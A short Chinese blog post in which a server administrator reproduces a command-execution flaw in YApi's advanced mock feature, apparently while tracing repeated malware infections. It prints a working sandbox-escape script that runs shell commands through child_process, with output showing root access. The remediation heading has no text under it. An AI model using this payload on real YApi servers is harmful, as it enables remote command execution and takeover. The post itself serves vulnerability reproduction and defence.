yapi版本mock漏洞重现、漏洞处理
发表于:2021-10-12 13:53:22浏览:270次
服务器长期被病毒入侵,通过 Linux如何清理病毒文件夹,Linux 服务器中木马病毒及清除过程 清理及删除ssh免密后,病毒文件还是会不定期入侵,后面从运行的程序入手,发现yapi存在高级mock漏洞,使用高级mock可以运行系统命令,先解决yapi漏洞问题,看后续是否还会被入侵。
① mock漏洞复现
注册yapi用户“test:test@qq.com”
添加新项目“漏洞复现”
添加一个新接口“rec”
编辑高级mock脚本
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
预览点击mock地址“http://******/mock/244/rec”,若可看到以下相似信息,则yapi版本存在漏洞
root # yapi使用root用户运行 UID PID PPID C STIME TTY TIME CMD root 1 0 0 Sep27 ? 00:00:21 /usr/lib/systemd/systemd --switched-root --system --deserialize 22 root 2 0 0 Sep27 ? 00:00:00 [kthreadd] root 4 2 0 Sep27 ? 00:00:00 [kworker/0:0H]
② 漏洞处理